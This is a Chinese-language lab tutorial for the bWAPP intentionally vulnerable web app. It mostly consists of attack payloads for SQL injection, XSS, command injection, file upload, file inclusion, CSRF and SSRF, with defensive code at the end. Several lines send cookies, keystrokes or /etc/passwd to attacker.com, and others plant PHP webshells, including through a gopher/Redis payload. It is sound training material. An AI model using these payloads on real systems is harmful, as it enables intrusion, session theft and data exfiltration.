bWAPP漏洞靶场实战教程
一、bWAPP概述
1.1 什么是bWAPP
bWAPP(Buggy Web Application)是一个集成了100+种Web漏洞的PHP/MySQL靶场,由安全专家Malik Mesellem开发。它专为Web安全学习、演示和测试设计,是极佳的教学工具。
1.2 核心特点
- 100+个漏洞场景:覆盖OWASP Top 10所有漏洞
- 多种难度级别:Low/Medium/High三个级别
- 真实环境:模拟实际Web应用
- 教育友好:包含Hints和解决方案
- 开源免费:基于GPLv3协议
二、环境搭建
2.1 虚拟机方式(推荐)
# 下载bWAPP虚拟机# 官方下载:http://www.itsecgames.com/# 或使用Bee-box(集成了bWAPP)wgethttps://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z# 解压并使用VirtualBox/VMware导入# 默认登录:# URL: http://192.168.0.1/# 账号: bee / bug# 安全等级: 默认Medium2.2 Docker部署
# 方法一:直接运行docker run -d -p80:80 raesene/bwapp# 方法二:使用docker-composeversion:'3'services: bwapp: image: raesene/bwapp ports: -"80:80"environment: -MYSQL_PASSWORD=bug2.3 本地部署(XAMPP/WAMP)
# 1. 下载bWAPP源码wgethttps://sourceforge.net/projects/bwapp/files/latest/download# 2. 解压到htdocs目录unzipbWAPP_latest.zip -d /opt/lampp/htdocs/bwapp/# 3. 访问安装页面http://localhost/bwapp/install.php# 4. 配置数据库数据库:localhost 用户名:root 密码:(空) 数据库名:bWAPP# 5. 默认登录凭证用户名:bee 密码:bug三、界面导航与配置
3.1 首次使用设置
- 登录系统:使用bee/bug登录
- 选择漏洞类型:"Choose your bug"下拉菜单
- 设置安全级别:
- Low:无防护,用于学习原理
- Medium:基础防护,需简单绕过
- High:较强防护,需要高级技术
- 访问Hints:点击"Hints"获取漏洞提示
3.2 管理功能
-- 管理后台:http://[ip]/admin.php-- 默认管理员:admin/bug-- 查看用户表SELECT*FROMusers;-- bee/bug(普通用户)-- admin/bug(管理员)-- smith/bug(测试用户)四、核心漏洞实战
4.1 SQL注入漏洞家族
4.1.1 基于错误的注入(Error-Based)
Low级别:
-- 基础注入' OR '1'='1-- 获取数据' UNION SELECT 1,2,3,4,5,6,7,8 -- -- 获取数据库信息 'UNIONSELECT1,database(),user(),version(),5,6,7,8---- 获取表名' UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() -- -- 获取列名 'UNIONSELECT1,column_name,3,4,5,6,7,8FROMinformation_schema.columnsWHEREtable_name='users'---- 获取数据'UNIONSELECT1,login,password,4,5,6,7,8FROMusers--4.1.2 盲注(Blind SQLi)
-- 布尔盲注' AND 1=1 -- 'AND1=2---- 基于时间的盲注' AND IF(1=1,SLEEP(5),0) -- 'ANDIF(SUBSTRING(database(),1,1)='b',SLEEP(5),0)---- 逐字符获取数据'ANDIF(ASCII(SUBSTRING((SELECTloginFROMusersLIMIT0,1),1,1))=98,SLEEP(3),0)--4.1.3 SQLi绕过技巧
-- 注释绕过admin' -- admin'#admin' /* -- 编码绕过 'OR1=1-- URL编码%27%20%4F%52%20%31%3D%31%20%2D%2D-- 双写绕过(针对关键字过滤)' UNUNIONION SELSELECTECT 1,2 -- -- 大小写绕过 'Or1=1--' oR 1=1 -- -- 等价函数绕过 'ORTRUE--'OR1--4.2 XSS漏洞家族
4.2.1 反射型XSS
// 基础payload<script>alert(document.domain)</script>// 窃取Cookie<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>// 短payload<svg onload=alert(1)><img src=x onerror=alert(1)>// DOM XSS#<img src=x onerror=alert(1)>javascript:alert(document.cookie)4.2.2 存储型XSS
// 评论区注入<script>alert('Stored XSS')</script>// 窃取用户会话<script>varimg=newImage();img.src='http://attacker.com/steal?cookie='+document.cookie;</script>// 键盘记录器<script>document.onkeypress=function(e){newImage().src='http://attacker.com/log?key='+e.key;}</script>4.2.3 XSS高级绕过
// 编码绕过<IMGSRC=jAvascript:alert('test')>// 事件处理器<body onload=alert(1)><input onfocus=alert(1)autofocus>// iframe注入<iframe src="javascript:alert(document.domain)">// SVG XSS<svg><script>alert(1)</script></svg><svg><animate onbegin=alert(1)attributeName=x dur=1s>4.3 文件上传漏洞
4.3.1 基础绕过
# 修改扩展名绕过shell.php.jpg shell.php.png shell.pHp# 双扩展名shell.php.jpg.php# 空字节绕过(PHP<5.3.4)shell.php%00.jpg# .htaccess攻击# 上传.htaccess文件:AddType application/x-httpd-php .jpg# 然后上传shell.jpg(实际是PHP文件)4.3.2 Content-Type绕过
POST /bWAPP/upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456 ------WebKitFormBoundary123456 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg # 伪装成图片 <?php system($_GET['cmd']); ?>4.3.3 文件内容绕过
# 使用图片马# 创建包含PHP代码的图片exiftool-Comment="<?php system(\$_GET['cmd']); ?>"image.jpg# GIF图片头绕过GIF89a;<?phpsystem($_GET['cmd']);?>4.4 命令注入
4.4.1 基础注入
# 执行多条命令127.0.0.1&&whoami127.0.0.1|cat/etc/passwd127.0.0.1;ls-la# 命令替换127.0.0.1&&$(cat/etc/passwd)127.0.0.1&&`whoami`4.4.2 盲注技术
# 基于时间的盲注127.0.0.1&&sleep5127.0.0.1&&ping-c5127.0.0.1# 带外数据外泄127.0.0.1&&nslookup$(whoami).attacker.com127.0.0.1&&curlhttp://attacker.com/$(cat/etc/passwd|base64)4.4.3 绕过过滤
# 空格绕过127.0.0.1&&{cat,/etc/passwd}127.0.0.1;cat$IFS/etc/passwd# 关键字绕过127.0.0.1&&a=c;b=at;c=/etc/passwd;$a$b$c127.0.0.1&&wh''oami127.0.0.1&&who$(echoam)i# 编码绕过127.0.0.1&&`echo"d2hvYW1p"|base64 -d`4.5 CSRF攻击
4.5.1 基础CSRF
<!-- 简单GET请求 --><imgsrc="http://localhost/bWAPP/csrf_1.php?password_new=hacked&password_conf=hacked"width="0"height="0"><!-- POST表单 --><formaction="http://localhost/bWAPP/csrf_2.php"method="POST"id="csrf"><inputtype="hidden"name="password_new"value="hacked"><inputtype="hidden"name="password_conf"value="hacked"></form><script>document.getElementById('csrf').submit()</script>4.5.2 高级CSRF
<!-- JSON CSRF --><script>fetch('http://localhost/bWAPP/rest-api/change-password',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({newPassword:'hacked'})})</script><!-- 使用XHR --><script>varxhr=newXMLHttpRequest();xhr.open('POST','http://localhost/bWAPP/change-email',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('email=attacker@evil.com');</script>五、其他重要漏洞
5.1 文件包含
# 本地文件包含http://localhost/bWAPP/fi.php?page=../../../etc/passwdhttp://localhost/bWAPP/fi.php?page=php://filter/convert.base64-encode/resource=index.php# 远程文件包含http://localhost/bWAPP/fi.php?page=http://attacker.com/shell.txt# 日志文件包含http://localhost/bWAPP/fi.php?page=../../../var/log/apache2/access.log# /proc文件包含http://localhost/bWAPP/fi.php?page=../../../proc/self/environ5.2 不安全的直接对象引用(IDOR)
# 水平越权 GET /bWAPP/idor_1.php?movie=1 # 自己的电影 GET /bWAPP/idor_1.php?movie=2 # 他人电影 # 垂直越权 GET /bWAPP/admin/users.php # 普通用户访问管理员页面 # 批量遍历 GET /bWAPP/idor_2.php?account=100 GET /bWAPP/idor_2.php?account=101 GET /bWAPP/idor_2.php?account=1025.3 SSRF攻击
# 基础SSRF http://localhost/bWAPP/ssrf.php?url=file:///etc/passwd http://localhost/bWAPP/ssrf.php?url=http://169.254.169.254/latest/meta-data/ # 端口扫描 http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:22 http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:3306 # 协议处理 gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a六、自动化工具实战
6.1 SQLMap
# 基础检测sqlmap -u"http://localhost/bWAPP/sqli_1.php?title=test&action=search"--cookie="PHPSESSID=xxx; security_level=0"# 获取数据库sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"--dbs# 获取表sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"-D bWAPP --tables# 获取数据sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"-D bWAPP -Tusers--dump# 自动化测试sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"--batch --level=5--risk=36.2 XSStrike
# XSS自动化检测python3 xsstrike.py -u"http://localhost/bWAPP/xss_get.php?name=test"# 使用爬虫模式python3 xsstrike.py -u"http://localhost/bWAPP"--crawl# 暴力破解参数python3 xsstrike.py -u"http://localhost/bWAPP/xss_get.php"--params"name"6.3 Commix
# 命令注入自动化检测python3 commix.py -u"http://localhost/bWAPP/commandi.php?target=127.0.0.1"# 获取shellpython3 commix.py -u"http://localhost/bWAPP/commandi.php"--data="target=127.0.0.1"--os-shell七、防御代码分析
7.1 SQL注入防护
// Low级别(无防护)$sql="SELECT * FROM movies WHERE title LIKE '%".$_GET["title"]."%'";// Medium级别(mysql_real_escape_string)$title=mysql_real_escape_string($_GET["title"]);$sql="SELECT * FROM movies WHERE title LIKE '%".$title."%'";// High级别(预处理语句)$stmt=$mysqli->prepare("SELECT * FROM movies WHERE title LIKE ?");$search="%".$_GET["title"]."%";$stmt->bind_param("s",$search);$stmt->execute();7.2 XSS防护
// Low级别(无防护)echo$_GET["name"];// Medium级别(strip_tags)echostrip_tags($_GET["name"]);// High级别(htmlspecialchars)echohtmlspecialchars($_GET["name"],ENT_QUOTES,"UTF-8");// 额外防护:CSP头header("Content-Security-Policy: default-src 'self'");7.3 文件上传防护
// High级别防护$allowed_types=array("image/jpeg","image/png","image/gif");$max_size=512000;// 500KB$upload_dir="uploads/";// 检查文件类型if(!in_array($_FILES["file"]["type"],$allowed_types)){die("Invalid file type!");}// 检查文件大小if($_FILES["file"]["size"]>$max_size){die("File too large!");}// 重命名文件$extension=pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);$new_filename=md5(uniqid()).".".$extension;// 移动文件move_uploaded_file($_FILES["file"]["tmp_name"],$upload_dir.$new_filename);八、实战演练计划
阶段1:基础漏洞(第1周)
- SQL注入(所有类型)
- XSS(反射型、存储型)
- 命令注入
- 文件上传
- 文件包含
阶段2:进阶漏洞(第2周)
- 盲注攻击
- CSRF攻击
- SSRF攻击
- IDOR漏洞
- XXE漏洞
阶段3:组合攻击(第3周)
- SQLi -> 获取数据库 -> 文件写入 -> WebShell
- XSS -> 窃取Cookie -> 会话劫持
- 文件上传 -> 命令执行 -> 权限提升
阶段4:防御绕过(第4周)
- WAF绕过技术
- 编码绕过
- 逻辑漏洞利用
- 自动化工具使用
九、学习资源
官方资源
- 官方网站:http://www.itsecgames.com/
- GitHub仓库:https://github.com/raesene/bWAPP
- 官方文档:http://www.itsecgames.com/download.htm
扩展学习
- DVWA:适合初学者的简单靶场
- WebGoat:OWASP官方教学靶场
- Juice Shop:现代Web应用靶场
- PentesterLab:专业渗透练习平台
工具推荐
- Burp Suite:Web渗透测试神器
- OWASP ZAP:开源Web应用扫描器
- SQLMap:SQL注入自动化工具
- XSSHunter:XSS漏洞利用平台
十、安全实践建议
10.1 测试环境配置
# 创建专用网络docker network create bwapp-net docker run -d --network bwapp-net --name bwapp raesene/bwapp# 使用虚拟机快照# 测试前创建快照,测试后恢复10.2 合法授权
- 仅限本地测试:不要在生产环境测试
- 明确授权:获得明确书面授权
- 遵守法律:了解当地网络安全法规
- 道德约束:不为恶意目的使用技能
10.3 学习记录
# 漏洞测试记录模板 ## 漏洞名称: ## 测试时间: ## 安全等级: ## 漏洞URL: ## 攻击Payload: ## 测试步骤: ## 防御措施: ## 学习心得:通过bWAPP的系统学习,你将掌握100+种Web漏洞的利用和防御技术。建议按照漏洞类型逐步深入,每个漏洞都要尝试三个安全级别,理解不同防护措施的差异。理论与实践结合,才能真正提升Web安全能力!